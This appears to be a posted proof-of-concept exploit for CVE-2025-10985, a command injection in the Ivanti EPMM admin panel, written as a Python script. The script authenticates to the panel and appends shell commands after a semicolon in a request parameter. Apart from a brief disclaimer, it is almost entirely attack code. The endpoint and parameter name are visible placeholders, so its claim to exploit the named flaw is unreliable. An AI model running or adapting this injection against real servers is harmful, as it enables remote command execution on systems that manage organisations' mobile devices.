CVE-2025-10985：Ivanti EPMM管理面板OS命令注入漏洞

# CVE-2025-10985 - Ivanti EPMM Admin Panel OS Command Injection PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import requests import sys TARGET_URL = "https://target-epmm-host" ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit(target, username, password, cmd): """ Exploit OS command injection in Ivanti EPMM admin panel. The vulnerability exists in an admin panel endpoint that fails to sanitize user-supplied input before passing it to a system command. """ session = requests.Session() # Step 1: Authenticate to the EPMM admin panel login_url = f"{target}/mifs/admin/login.jsp" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[-] Login failed") return print("[+] Authenticated successfully") # Step 2: Send crafted request with injected OS command # The vulnerable parameter accepts input that is concatenated into # a backend shell command without proper sanitization. vulnerable_url = f"{target}/mifs/admin/..." # Inject command using shell metacharacters (e.g., ;, |, &&, $()) payload = f"legit_value; {cmd}" inject_data = { "vulnerable_param": payload } resp = session.post(vulnerable_url, data=inject_data, verify=False) print(f"[+] Command injection response status: {resp.status_code}") print(resp.text[:2000]) if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "id" exploit(TARGET_URL, ADMIN_USER, ADMIN_PASS, cmd)